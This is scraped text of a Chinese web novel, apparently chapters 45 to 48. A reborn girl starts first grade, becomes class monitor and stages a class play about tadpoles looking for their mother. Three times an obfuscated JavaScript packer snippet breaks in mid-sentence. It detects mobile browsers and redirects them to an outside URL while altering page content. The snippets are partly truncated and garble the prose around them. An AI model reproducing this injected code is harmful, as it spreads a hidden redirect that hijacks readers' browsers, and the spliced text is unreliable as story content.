等女孩含胸驼背的坐好，张老师若无其事的回到讲台继续刚才没说完的话：“大家平时上课回答问题，或者有事找老师要先举手，老师点名要站起来回答到，好了，老师现在开始点名，点到名字的同学要站起来说到，知道了吗？” 大家稀稀拉拉的回答：“知道了。” “周磊。” 周磊猛的举手，张老师提醒，“不要举手，站起来说到就行。”周磊放下手又是猛的站起来站的笔直大喊：“到！” “哎呦。”跟周磊坐一块的林灵因为和他不熟，所以坐的特别边，结果周磊一站起来，长凳翘起她摔了个屁股墩，大家都“哈哈”大笑起来。 “没事。”张老师把林灵扶起来坐好，又说：“以后大家起来的时候要注意不要突然站起来，这凳子两个人坐，不要摔跤了。说到也不用大声喊，正常说就行。林灵。” “到。” 林灵也故意用力站起来，可周磊的好好的坐没有摔跤，气的她坐下后冲着周磊翻了个白眼。 张老师一边点名，大家的脑袋都跟着转，等到最后她叫“洪细妹”的时候，所有人更是一起转头看向那个大龄女同学。 “到。”洪细妹站起来也是一副含胸驼背的样子，好像恨不得缩成跟大家一样的高度。 张老师拍拍手，示意大家看向前面，“我们班的班干部和课代表暂时由我先提名，如果以后有表现的更好的同学，我们还有可能会更换。” 她看了看手中的花名册，“班长就马丽丽吧。” 马丽丽有一种果然如此，甚至理所当然的感觉。 选好班干部和课代表，张老师又从讲台下提起两捆书拆开，说：“第一排的同学过来拿一下书往后发一下，一人一本。” 马丽丽打头站了起来，见她站起来，其他几个孩子也赶紧围过来，男孩子领了语文书，女孩子领了数学书，又学着向后排的同学一个一个发过去。 教室里顿时就响起了一片叽叽喳喳声，大家都十分新奇的翻着书，也是，很多孩子还是平生第一次有属于自己的书呢，不免都有些兴奋过头。 马丽丽翻了翻语文书，闻着油墨的香气，心中不免有些怀念，这么多年过去了，再看还是觉得有些新鲜激动呢。 说起来，他们这些80后，可是一直学着最新的教材，交着最后的学费，等他们读完要交学费的九年义务，嘿，九年免费读了。 好亏啊！ “好了，大家都拿到书了。”张老师拍了好几下手才让大家安静下来，“从今天开始，大家就是都是一名小学生了，在学校要听老师的话，有什么问题可以举手问老师。明天开始正式上课，课表我会贴到黑板前，等下我会给每个人发一张通知，大家回去把通知给家里爸爸妈妈看一下，知道了吗？” 所有人都嘻嘻哈哈的举起了手。 “不要吵！下午我们要大扫除，大家以第二组为界，这一边的人，都带扫把，这边的人，都带上脸盆或是水桶，还有抹布，都听清楚了吗？听明白了就举手。” 大部分的人都举起了手，于是张老师又说了一遍，这下大家都知道了。 “好了，大家下午三点按上课时间准时来，所有人都要来，现在大家可以回家了，下午，下午三点，三点，都要来。” 张老师再次大吼，马丽丽听着都觉得累，她把自己桌子上的小本子、笔和课本都收拾进书包，跟着其他人一起欢快的跑出去了。 “马丽丽，马丽丽，下午我们都是带抹布，你带桶还是脸盆？”朱莉莉没有带书包，两手抱着书问马丽丽。 “我还是先问问吧，估计是带脸盆，我家好像是铁桶，太重了我提不动这么久，脸盆有塑料的。” “那我也带塑料脸盆来。” 坐在后面的卜纤纤不开心的说：“我是带扫把。” 带扫把就带扫把呗，有什么可不开心的？ 马丽丽安慰：“那不是正好，咱们正好可以相互换着干，老做一样多累啊。” 卜纤纤顿时又开心了。 她们仨加上郝伟都是住在附近楼的，属于站在路上喊一声几人都能听见那种，雷兵兵，周磊和林灵住在另一个片区，不过大家都是一起上托儿所的交情，自然熟悉，走到分叉口大家还要约好下午得先在这里碰头再去学校，之后才分头回家。 “我回来啦。”马丽丽在门口敲门，哦，对了，忘记了，她妈今天也开学了，估计还没回呢，马丽丽咚咚咚跑到姥姥家拿了备用钥匙回家开门，又把钥匙拿回去，这才进门。 先煮上饭，再把书包里的东西都拿出来。爸爸马天华早早就准备好了包书用的挂历纸，又厚又光滑，正适合做书皮。马丽丽也不等爸爸回来，自己就动起了手。 把书放在大挂历纸上，比着用尺子画好大概尺寸剪好纸，一边折一边剪，书皮和书必须严丝合缝，不会空，也不会折到书，还不能折好几下，不然有折痕就难看了，最后折线还得用指甲划一划，这才算包好了。 马丽丽左右看看，满意得不行，她不喜欢花里胡哨的封面，所以都是用挂历纸背面折的，雪白雪白的书皮，就等爸爸回来给写上字。 欣赏完了刚刚包好的课本，马丽丽又拿出一张纸，把教室里的座位画出一个个格子，刚才张老师点名的时候她也记了一下名字，这会儿把名字都填上去，顺便注明班干部和课代表。 做完这些，马丽丽又把文具盒检查了一番，新买的铁盒文具盒，底下得用雪白的纸垫着。 四只铅笔都削好了，还有一把削笔刀和一个卷笔刀，这卷笔刀虽然是最便宜最普通的那种，但这可是在京都买的。幸福小镇不流行卷笔刀，大家都还是用刀片的多。 铁盒盖里卡着自己画的课程表，还是空白的，得等老师贴出来才能知道，话说一年级的学生大都不认字呢，也不知道老师贴出来是给谁看的。 把自己钉的草稿本和文具盒放进新书包，新书包是妈妈送小姨上学的时候在八一市买的，还是双肩背的，书包上印着最流行的黑猫警长，背起来就是一年级最靓的崽。 马丽丽正无聊的看数学呢，爸妈都回来了。 “来来来，看一下新课本。” “爸，就等你呢，帮我写封面。” “好咧。” 马天华二话不说，磨墨提笔，上书“语文/数学”，下面还要写上马丽丽的名字，马丽丽特地扯了老妈的一张卫生纸，把墨水吸干，然后风干，最后还小心机的刷了一点点胶水在毛笔字上。 摊着书风干，马丽丽又叫：“妈，老师说下午大扫除，让我带脸盆和抹布。” 徐明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15131776|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惠一边炒菜一边回：“让你爸把下面那个盆拿出来，把门把手上这个抹布带去。” “啊，我不要那个，那个有油。” “就你事多，那你把那门后面擦手那个拿去。”徐明惠这才想起来，“你上午不是带了一个吗？那个抹布呢？” “我不知道，给别的家长拿去就没还我了。” “就知道往外拿，还没回了。” 吃饭的时候马丽丽宣布了两件很重要的事。 第一件：“张老师让我当班长了。” “真的吗？那你要好好干，给别人做好榜样，要比别人成绩好才能继续当班长。” 虽然知道一年级的班长都是先临时选的，但是徐明惠还是以兹鼓励了一下。 第二件：“以后咱家再也要不吃包菜了！！” 马天华：“啊？” 徐明惠：“惯的你，为啥不吃，包菜怎么了，菜地可种了。” 马丽丽：…… 夭寿哦，都上小学了还不能摆脱包菜地狱吗？ 下午是全校大扫除，所有的桌凳都被搬到了教室外的走廊上。 抹布组要擦桌子、凳子、讲台、前后黑板和窗户，扫地组要先扫地面，然后用水冲地，最后把水全部扫出教室，再负责洗公用的垃圾桶和撮斗。 老师还没来，作为班长，马丽丽就负责指挥。虽然都是六七岁的孩子，但大家基本没吃过猪肉也见过猪跑，怎么干还是知道的。 大家都还不熟悉的情况下马丽丽能准确叫出你的名字分组座位号，大家懵懵懂懂间不由自主都听她分配了。 一盆盆一桶桶水被倒在地上，男孩们欢快的拿着扫把排成一排，一边斗嘴一边把水“刷刷”从前向后扫过去。污水漫过凉鞋盖过脚背，可是他们一点也不在乎。 窗户下都放着干净水，女孩们一个在下面洗抹布，一个干脆站在窗户上，一手巴着栏杆一手擦玻璃。老师来了也不动手，只在旁边嘱咐男孩抬进来两张桌子，不许女孩们踩在窗户上。 脏水被扫出教室，顺着走廊扫出排水口，直接扫下台阶，扫进排水沟。楼上四五年级也是这么扫的，走廊外跟水帘洞似的，台阶也变成了小瀑布。有几个人围着排水口把水一遍一遍扫出去，水波来回荡漾，重复又机械的动作，他们都扫的很开心。 教室里都是水洗砖的地面，把水走后干的很快，马丽丽又叫上同学们把桌子凳子都搬回教室排好。大家纷纷都先搬自己的桌子，虽然只有一上午，但是大家早就认定了自己的桌凳，谁也别想搞混。 年纪最大的洪细妹在扫除中发挥了巨大作用，虽然被大家叫来叫去，一会儿帮着扫水，一会儿帮着递抹布，但是她觉得高兴，说话也不跟蚊子叫似的了，十五六岁的少女跟六七岁的女同学们还能聊得上话。 木头的讲台还有些潮湿，马丽丽垫了一张纸，把自己中午画的座位表放在讲台的右上角，还用黑板擦压住。站在旁边指挥大家放桌子的张老师过来看了一眼，十分惊奇，“马丽丽，这是你做的？” 马丽丽：“是呀，张老师。” 张老师：“字都是你自己写的？” 马丽丽：“是的。” 张老师啧啧两下，心想这孩子学得厉害，一年级不用读也可以了。 大家伙坐下后还热热闹闹的，这个说“我的裙子都湿了”，那个说“等下我们去打盆水冲脚”，张老师再次嘱咐大家明天不要迟到就让大家回家了。 马丽丽吵吵闹闹的一年级生活也正式拉开了序幕。 46.第四十六章 9月17日这天正好是大礼拜的星期六，一大早马丽丽就跑到姥姥家打开了电视，难得没有睡懒觉的徐明红也是早早就做好了准备，因为今天是汉城奥运会开幕的日子。 很快徐明惠和马天华也来了，两家人一起坐在了电视机的前面。 这是亚洲第二次举办奥运会，上一次还是在小日子国，那时候种花家电视还不普及，而且当年也没有转播，国人关注度不高。但是这次不一样，这已经是我们第二次转播奥运会了，上一界奥运我们实现了金牌“零”的突破，这一次我们派出了更多选手。 宏大的开幕式确实让人感觉震撼，马丽丽又听见了许多熟悉又陌生的名字：捷克斯洛伐克/南斯拉夫/民主德国/联邦德国，就，有点感慨吧。 之后的一首《手拉手》“我们亚洲……”没几天就风靡了大街小巷，虽然会唱歌词的人不多，但随处都能听见哼调子的人，但马丽丽不在其中，能用英语唱完整首歌的她成了最靓的崽。 在所有的队伍中，马丽丽最关注的当然是种花队啦，她最喜欢的跳水队高敏，如果说“跳水皇后”是中国跳水队骄傲的传承，那高敏就是当之无愧的第一代皇后。 看完比赛，生活学习还是要继续。 一年级的学习生活比马丽丽想象的更加无聊，除了“aoe”就是“123”，马丽丽特别想采访一下柯南，他重读一年级的时候到底是怎么转变心理的？还一读就是这么多年？ 一天六节课，语文数学得占四节，不过都不连堂，不光相互交叉，中间还要穿插音乐、体育、书法、劳动、美术。 数学语文马丽丽迅速占领高地，之后老师们都知道一年级有这么个人，上课直接不理会她了。 书法老师倒是对马丽丽很有兴趣，这么点个小孩在家就学过毛笔字了，写的还挺像模像样，他指点了马丽丽几句，还给她写了个“永”字做字帖。 马丽丽对书法老师印象深刻，他只教了他们一年就调走了，后面据说进了省书法协会，还当了副会长，不过全校就一个书法老师，他一走小学的书法课都取消了。 虽然一年级上课很是无聊，但马丽丽却不闲，她现在已经开始学俄语和英语写作了，当然不是写小说，孙振华最多教教怎么写材料。 投稿大业也不能忽略，在夏令时结束的时候，马丽丽已经写了四篇了，一个准备投给散文杂志；一个准备投给八卦小杂志；一个准备投给小学生报纸；一个准备投到本地报纸，不过四篇都还算是初稿，她得琢磨琢磨。 马天华也琢磨呢，自家女儿读书了，人生大事怎么着也得表示表示，庆祝什么的好像有些过于特意了，准备个礼物倒是不错，不如自己动手做一个。于是他到图书馆借了一本缝纫杂志，买了一块灯芯绒红布，试着做了一件夹克。 要不怎么说老一辈人都有点手艺在身上呢，就说姥姥孙梅，马丽丽身上穿的脚下踩的头上戴的，都是姥姥亲手制作，衣领衣角上绣个花编个朵连图都不用，拿起针线直接缝。 还有奶奶沈月，孩子就生了九个，衣服全靠买也太不现实了，百货公司有时会有买剩下的瑕疵布或是尺头，沈月会走内部关系买一些回来自己做衣服。马丽丽三四岁的她也给做了几件衬衣，虽然布料花纹老气，但是款式时髦，大翻领小立领，袖子口袋还缝上花边。 爸爸也算是耳濡目染吧，做出来的夹克还挺合身，剪裁也没问题。 “怎么样，不错吧？”马天华得意的让女儿转了个身，觉得很满意，多漂亮，他女儿，他做的衣服，般配。 马丽丽脱下来翻了翻，平平无奇一件夹克，做的平整是唯一优点，啥装饰都没有，款式也不分男女，到处是线头，还是她来收个尾吧。 线头都剪掉，左胸口绣个花，口袋边边也绣个花边，后腰收两针，拉链上坠个小珠珠，齐活。 马天华：啊，这，我做的衣服可真好看，丽丽还真是锦上添花呀。 马丽丽：挺好的。 穿了新衣服自然要好好得瑟一下，别说什么大人的灵魂，就是大人灵魂才要得瑟呢，不然真长大了徒有一颗想得瑟的心，却没有敢得瑟的脸皮。 一直到要穿棉袄的时候马丽丽才遗憾的把这件衣服收起来，爸爸把衣服做的太过合身，她觉得明年可能就穿不上了。 马天华：忘了这茬了！ 第一次上学太有纪念意义了，今年马丽丽生日正好是周末，徐明惠带她去章市过的。 马丽丽穿着鲜亮的嫩黄色毛衣，带着姥姥改制的蝴蝶结发箍，先去儿童公园回忆了一下童年，中午吃了一顿大餐，买了具有时代特色的硬奶油生日蛋糕，还带两朵奶油花那种，下午去另一个公园划船游湖，最后坐在假山亭子里和妈妈照了相。 “都看我，哎，笑一笑。” 咔嚓。 虽然没有笑成一朵花，但从母女俩的表情上可以看出两人幸福十足。 平淡又无聊的日子过得飞快，开学的时候大家还穿着短袖裙子呢，转眼间又是穿毛衣棉袄的时候了。 几个月的时间足够新出炉的小学生们熟悉一年级的上学生活，对于马丽丽这个班长他们还是挺信服的，毕竟小孩子都有慕强心理，轻松搞定学习还有余力帮其他的同学，这杠杠的就是偶像啊，她不是班长谁是班长？ 马班长其实也有一点小烦恼，因为马上又要开始一年一次的文艺汇演了。 班主任给班长布置下了任务，剩下的就是学生自己的事，每个班都一样，一年级也没有不同。每到这种时候，音乐老师便非常抢手，每个班的文艺骨干纷纷出手，邀请音乐老师来帮忙。 这也是让马丽丽苦恼的地方，别人不知道，她还不知道吗？从小学到初中，他们班就没出过什么文艺骨干。 比他们高一届的，有几位全能选手，比他们低一届的，也将有几个舞蹈苗子，唯有他们班，每次文艺汇演就是给人家做陪衬的，想想就是一把心酸一把泪。 马丽丽召开了开学以来第一次一年级班会，就在放学后。 “好了大家不要吵不要吵，咱们赶紧讲完，等下值日生还要扫地呢。”马丽丽站在讲台旁边喊了几声，下头叽叽喳喳的声音没个停，她拿起黑板下的教鞭用力一甩，“啪！”教鞭发出尖锐的爆鸣声，所有人一下都被震住了。 马丽丽满意了，她说：“今天张老师说下个月元旦的时候，学校文艺汇演每个班都要出一个节目，今天让大家留一下就是想说我们讨论一下，元旦我们班出个什么节目。” 底下又开始嗡嗡，马丽丽无奈的大声叫道：“听我说听我说，我给大家列了一下咱们能出的节目，你们听一下嘛，等下我们选一个节目，还要选人来演，然后只有一个月的时间排练。” 坐在最后面的一个男孩突然大声说：“这还有什么可讨论的，唱歌跳舞，这都是女孩子们的事，跟我们男的有什么关系？叫我们留下来听什么？” 男孩名叫张兴宗，就是每个班级都会有的那种完全不爱学习感觉上学就是痛苦还总喜欢捣乱人人避而不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15137286|160363||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 及的孩子。 马丽丽才不怕他，她一拍桌子大吼：“张兴宗你给我闭嘴，都是一个班的谁也别想跑，班级活动所有人都必须参加！” 张兴宗吓了一跳，条件反射的坐直了一些，嘴里嘟囔：“好凶，男人婆。” 马丽丽又继续说：“我给大家想一些咱们能参加的节目，先是唱歌，我们可以全班一起大合唱，大家可以想一下唱什么歌，然后大家都到家问问有没有伴奏带，如果是一般的磁带有人唱的声音，放出来就不好听。我们先自己练习，到时候还要找老师帮忙指导一下。然后就是跳舞，这个不能所有人上场，但是大家都可以帮忙，要先选跳舞的人，然后再选歌，还要编动作，谁认识会跳舞的人也可以请人家来教我们一下。” 马丽丽一边说，下头的孩子们就一边小声哔哔，这是全班第一次集体活动，大家心里都觉得很新鲜，要是能有机会上场，谁又真的不想呢？ “对了，我先问一下，我们班有没有会什么乐器的？或是会唱戏啦，会打拳啦，总之有特长的都可以。”马丽丽又问。 大家一边摇头一边前后左右乱看，看有没有其他人举手的。 “好吧，没有的话，其实，我还有一个想法，以前肯定没人演过这种节目。” 马丽丽先是十分神秘的把前门关上，又让人把后门也关上，把全班人的胃口吊的足足的这才说： “我们来演舞台剧吧。” “舞台剧？” “这能行吗？” “舞台剧是什么？” “哎呀舞台剧呢，就是一个人在前面讲故事，后面几个人就把这个故事演出来。比如我们来演个小马过河，前面呢就一个人在讲这个故事，然后一个人演小马，一个人演牛，一个人演松鼠这样，把这个故事像演戏一样演出来。” 大家都觉得这个有意思，听上去也不难的样子，但又有一个人问了，“可是这应该不能全班人一起演吧？” “是不用，但是我们得做道具啊，要演个动物就要假扮动物的样子，面具啊服装什么的，肯定大家都得出力，虽然我们是一年级，集体活动也不能比人家差。” “对！” “就是。” 越是小孩子，越不喜欢别人把他们看的没用。全班人一下子热血沸腾，大家议论纷纷，最后都说还是舞台剧比较有意思。 马丽丽打算自己来写一个简单的剧本，于是提出了几个可爱的童话小故事给大家选择，全班又是一阵讨论，选了“小蝌蚪找妈妈”。 这个故事角色可多可少，故事简单，更妙的是有一个动画片可以参考，在座的同学们有几个没有看过这部上影的水墨动画呢？回想回想，还可以学习一下怎么演。 马丽丽先是花了两天时间写了一个短本子，好久没有写过本子了，还有点费脑子，不过好在只是小学生表演，不用多精细。 马丽丽紧接着就在周末的时候召开了第二次班会，这次大家也一个不拉的到齐了。 “所以我们需要三个左右的蝌蚪、鸭妈妈和小鸭子、金鱼、乌龟和青蛙，至少八个人，大家觉得自己能演的可以来我这里报个名，没人报名我就点名啦。剩下的人负责做道具，我会告诉大家怎么做。到时候我会安排一下，大家有什么意见必须提前说，不能等道具都做完了或是大家都练习好了才说要重来，那可不行，没这么多时间。还有领了任务的同学都得按时完成，不能耽误咱们的表演，同意吗？” “同意！” “好。” 47.第四十七章 如果是老师来负责，小孩子们大概还会扭扭捏捏的，但现在是马丽丽负责组织，报名的人可就踊跃了，人数一下子就超过了八个，大家都想尝试一下。 马丽丽征求了大家的意见，有些人是想演个角色，有的人只要能上台就行，演啥不在乎，于是她增加了两只“小蝌蚪”，一只“小鸭子”，一条“金鱼”，之后又定了几个演背景的后补，但是能不能上台得看来不来得及做好道具。 定好人之后就要定角色了。 个子最矮的几个演小蝌蚪，这没毛病。 马丽丽特别指定洪细妹演鸭妈妈，虽然本人有点不太想演，但谁让她最高呢？本班既然有特色就得体现体现，马丽丽用三寸不烂之舌说服了她。 今天也是班长努力让超龄同学融入集体的一天呢。 乌龟呢，自然得由男同学来演啦，雀屏中选的是张兴宗。张兴宗一脸懵逼，他就是那种人，心里感兴趣又不好意思表示出来，假装不在随大流报个名，心里又觉得自己演不了什么角色，预期就是能有希望演个背景什么的别空跑。 突然被委以重任张兴宗心里其实很开心，表面上却假装不爽大叫“怎么让我演乌龟”，一边非拉着自己死党也要来演个乌龟。 马丽丽：“行吧，那再加个乌龟，你俩一起。”没什么大不了。 死党：“……？”我可谢谢你了。 张兴宗：哈哈哈哈哈。 至于金鱼和青蛙，都由女孩子来演，还有几人当水波什么的，表示整个故事发生在一个池塘里。 剩下的人就只能演背景了，马丽丽立图让大家都能参与进来，但也有几个太过害羞或是反应迟钝跟不上或是没办法参加排练的，只能遗憾的去做专业道具组了。 作为执行导演以及认字最多的人，马丽丽当仁不让负责在台边讲故事（旁白），不光她自己，她还准备再选两人跟她一起。 旁白的任务十分重要，首先就要吐字清楚记忆力好，因为写出来的本子很多字都还没学过，所以整个旁白马丽丽教会后，自己记住，当然说话含糊有口音也不行 原本马丽丽还打算再选一男一女，但试了几个人之后，她果断把男同学都踢走选了俩女同学。 论起表达感情来女孩子天生强过男孩们，几个男孩张口把最简单的台词“妈妈妈妈”“这不是你们的妈妈，是我们的妈妈”说得平铺直叙，好似一根棍咣当掉地上似的。 除了说话，马丽丽还设计了一些小动作。因为设备的关系，在舞台上表演的人其实不大听得见音乐或是旁白说话，所以马丽丽直接用动作指挥，挥手、模仿或是三人互动，后面表演的人只要看见台边人的动作就知道自己大概要做什么了。 除了这些，旁白的人还得能唱会念儿歌，用来过场，跟演水波的同学一起掩护角色的上场和下场。 总之，旁白可真是特别重要，马丽丽特别面试了所有女同学，最后把演金鱼的一位女同学给换到旁白了。 接下来的重头戏还真不是表演，而是……做道具！ 头套看似很难，其实简单，班里多是两厂职工子女，二十来个学生凑了十五个安全帽，一把面粉熬成浆糊，先贴一张浸湿的旧报纸，然后一层浆糊一层纸贴到安全帽上，再加点不要的碎布头，糊到足够厚能简单做出造型就可以了。 小蝌蚪的脑袋得糊得圆一点，鸭子颅顶要高一点，前面还要糊出扁嘴来，金鱼和青蛙头上还要贴两个圆眼睛。 只有乌龟不用头套，但它们有乌龟壳，这一度难倒了所有人。乌龟背壳要足够大，还有弧度，用什么模具才好呢？后来一个同学灵光一闪，从家里拿来一个圆簸箕，在两个男孩身后一比，哎嘿，还挺合适，于是又凑三个竹簸箕糊上纸。 就连教室里的黑板也没有逃过糊纸的命运，后面的黑板上也糊了厚厚的纸壳，而且不是一次，而是三次，一次的纸壳做了三双鸭翅膀，一次纸壳做了青蛙，一次纸壳做了五只小蝌蚪。 本来金鱼也要做纸壳的，但是一个女同学的姨妈在电厂也是文艺骨干，她帮忙借了两条布灵布灵带亮片的红纱巾，好好使用一下，比纸壳好看多了。 三只鸭子的衣服也借好了，一条黄色裙子，一件黄色灯芯绒外套，还有一条十分好看的大人穿的白色长裙子，由同学妈妈提供，借给洪细妹穿。一开始洪细妹试穿的时候特别别扭，从没穿过裙子的她看上去就跟配不上这条裙子似的，但在同学们一声声的称赞中，她渐渐变得自信了一些，在最后的演出中穿着裙子变得非常大方了许多，别人瞧着也没人觉得不合适。 其他人的衣服都不需要外借，小蝌蚪们就穿着黑色衣裤，没有穿深色衣服也行，不讲究，金鱼和青蛙都穿白衣服，这些基本每个同学都有一身，至于乌龟，有壳呢，穿什么都行。 糊了纸的安全帽和簸箕高高的挂在窗户最高处，所有同学天天都焦急的等待浆糊干透，一边还要守护纸壳，坚决不让其他班的学生跑来看稀奇，以免有人手贱。其实别说其他班的学生，老师也十分好奇，不光好奇这些纸壳，也好奇一年级准备的节目。 等所有纸壳都像蝉壳一样能剥下来后，经过修剪就可以上色了。 马丽丽想着，蝌蚪是黑色，用墨水就行，金鱼是红色，用红墨水就行，乌龟壳也算是黑色，调谈点就行，只有鸭子的黄色和青蛙的绿色没办法。 这时候就该班主任出马了，她找来了美术老师帮忙。 美术老师也没想过文艺汇演还有她的事，不过看到纸壳她也觉得这个节目应该很有意思，便一口答应了。 反正要上色，美术老师便说全部纸壳都交给她吧，颜色会统一一些，大家同意后，她便带着纸壳回宿舍上色。 全班又是抓耳挠腮的等待，就在全班开始要怀疑美术老师是不是其他班派来的卧底时，她终于通知同学们可以去她那里把画好的纸壳全部拿回来了。 “哇！”同学们一起发出了没见识的声音。 美术老师确实十分尽心尽力，可以说在纸壳上画了一副画。 小鸭子是嫩黄色，鸭妈妈是只白鸭子，简单几笔画出毛茸茸的感觉。 龟背壳是深栗色，还用黑线勾勒出一块一块甲片的立体感，腹甲是白色，上面用棕色画上对称的花纹。 金鱼的红色和纱巾很像，青蛙也不是单纯的绿色，背上还有黄色和棕色的线条，两种动物的眼睛也是画得卡通又可爱。 最特别是所有的纸壳外都涂了一层亮油，在灯光下十分闪耀，看起来鲜亮极了。 还有几个水波浪花和两片莲叶，一片叶子上还有一朵莲花，为了谁来拿这片带花的叶子，几个负责跑场的同学差点吵起来，还好马丽丽这个班长还算有权威，把花给了最中间的男孩，他开心的直接跳了两下。 分配完毕，大家有志一同的认为这么好看的道具必须是他们汇演时的必杀技，现在是万万不能让别的班的人瞧见的，于是大家紧急把道具都送到离学校最近的一个同学家里去了，并约好今晚再带到教室里来做最后的加工，顺便让演员们都试试。 晚上七点钟，全班同学都来了，纸壳道具一拿出来，在灯光下闪闪发光，大家真是越看越喜欢。 马丽丽等人早就准备好了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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汇演的当天上午还要上课，但老师们都默契的没有布置作业，并体贴的在上午最后一节课提前下了课。 老师还没走出教室呢，班长马丽丽就立刻站起来大声说：“要演出的同学中午早点来学校哈，记得先穿好衣服，带上头套道具，我们是第一个节目，要抓紧时间先化妆，对了，谁家有化妆品的跟妈妈借一下。” 女同学们兴奋的“哀嚎”：“怎么办，好紧张！” 男同学们开心的“不屑”：“我们男的还化什么妆啊！” 马丽丽：“……赶紧回家吃饭！” 隔壁老师办公室，语文老师笑着对班主任说：“我们班还真是热闹。”班主任表情很无奈：“都是小孩子。” 马丽丽还吃午饭呢，楼下朱莉莉、王娟和郝伟就已经在相互呼唤了。 “朱莉莉，马丽丽，你俩吃完饭了吗？” “王娟等我。” “郝伟，郝~伟~” “我马上下来。” “马！丽！丽！你快点！” 马丽丽翻了个白眼，好吵啊这些小朋友，徐明惠去到阳台帮她代言：“马丽丽还没吃完饭，你们慢点，等会儿。” “马丽丽好慢啊。”几个小朋友坐在水泥墩上抱怨，“明明是她叫我们早点去的。” “我来了我来了。”马丽丽一边下楼梯一边叫，楼梯间回荡着她的声音。 “你好慢，快点。”小伙伴们一起跑过来，拉着马丽丽就跑，郝伟还举着他的头套。 “你们给我慢点，刚吃了饭跑步会肚子疼。”马丽丽感觉自己迟早气死。 48.第四十八章 事实证明他们还是到的晚了，教室里要上台的小伙伴基本都到齐了，大家都换好了服装，有的小心检查自己的纸壳道具，有的在互相述说自己紧张的心情。 不过看到马丽丽来了，大伙都不由的围了上来。 “马丽丽你可来了。” “班长班长，你叫我们早点来你自己还这么晚。” “马丽丽，我带了擦脸的。” “马丽丽，我们现在干嘛？” “马丽丽……” 好，好像一群鸭子…… 最后还是洪细妹一挥手，让其他人都不由的退了几步，比起其他同学，她身材高大，声音洪亮，她大声说：“都别吵，等下马丽丽可是要上台的，等下她嗓子哑了怎么办？” 同学们一听，哎，也是哈，于是大家都不说话了，眼巴巴的看着班长。 马丽丽深吸了口气，一边叫俩人去看音乐老师来了没，每到文艺汇演这天，音乐老师就是最忙的一个，她一个人给所有小演员化妆， 不能说一模一样，其实就是一模一样。 虽然就是简单的涂个高原红、黑眉毛和红嘴巴，但架不住人多啊。 那边叫人去找老师，这边马丽丽嘱咐大家检查自己的服装整好了没，没换的赶紧换，戴头套的还要垫布包，也赶紧戴上，没有头套的要梳头，扎辫子的扎辫子，扎丸子头的扎丸子头，有的要扎红发带有的要扎绿发带，都别浪费时间啦，赶紧动起来。 教室里很快就闹哄起来，不一会儿班主任和音乐老师都来了，一个帮忙检查一个负责化妆。搞完之后所有学生以年级为单位，排着队一起去礼堂。 今年学校借用的是电厂礼堂，这里夏天重新整修了一遍，还增加了新音响设备，正适合演出用。 全校热热闹闹的一路走来，又排着队进礼堂坐好，一年级的屁股还没挨着椅子呢，就被拉到了进场口 。 “马丽丽，你怕不怕啊？”朱莉莉跟在马丽丽后面问。 “有什么怕的？”马丽丽随口说，随即突然醒悟，是小朋友紧张了，她便传授秘籍：“你看那边对面上头有个小窗户，呆会你上台后就只看那个窗户哇，不看下面的人就不怕了。” 哦，原来是这样。 周围的小伙伴都露出一副了然的神情。 一通准备后，报幕的一男一女两个学生上了场，等他俩说：“接下来的第一个节目是《小蝌蚪找妈妈》，表演者，一年级。”马丽丽立刻扯了一下身后两人，一起上场，先是台上鞠躬，三人又走到台旁边的两个话筒前。 《小蝌蚪找妈妈》这个故事几乎没人没听过，没听过的也学过，没学过的也看过动画片。 故事说的就是夏天在一个池塘里，一群小蝌蚪出生后，看见鸭妈妈带着几只小鸭，它们也想知道自己的妈妈是谁。鸭子妈妈说它们的妈妈有白肚皮，结果蝌蚪们找到了乌龟，乌龟说它们的妈妈还有大眼睛，结果它们找到了金鱼，金鱼还是靠谱，直接说它们的妈妈不但有白肚子大眼睛，还有绿皮肤叫起来“呱呱”的名叫青蛙，最后小蝌蚪在水波中游来游去，终于找到了妈妈，大家一起开心的来了段小歌舞。 表演结束，所有人一起鞠躬，按照老师之前说的，等幕布拉上了后才快速跑回台后。听着台下雷鸣般的掌声，大家都兴奋的想大叫一声，却还得忍住排队回到自己年级的座位上。直到坐下后，后排哥哥姐姐们当面夸赞时，他们才嘻嘻哈哈的开心起来，又被老师制止，不怎么安分的开始看后面的节目。 一年级的表演虽有瑕疵，但瑕不掩瑜，有这样新奇又有趣的珠玉在前，再看后面的唱歌跳舞未免就有些无趣了，想来一年级们的风头还能持续好一段时间。 虽然一年级们心中暗自得意，但文艺演出结束后没多久，全校就迎来了期中考试，所有的热闹一下子都沉静了下来。 一年级的考试卷也是简单的很。语文一共三大题，先是默写声母韵母，给几个字标上拼音，或是根据拼音写字，然后是简单的组词，还有写偏旁部首，最后就是造句。数学就更简单了，基本上就是五十以内的加减法，加加减减，减减加加。 马丽丽觉得自己已经尽力慢了，但还是有些难熬，监考老师进来就说半小时内不能提前交卷，马丽丽觉得这个绝对是针对她！ 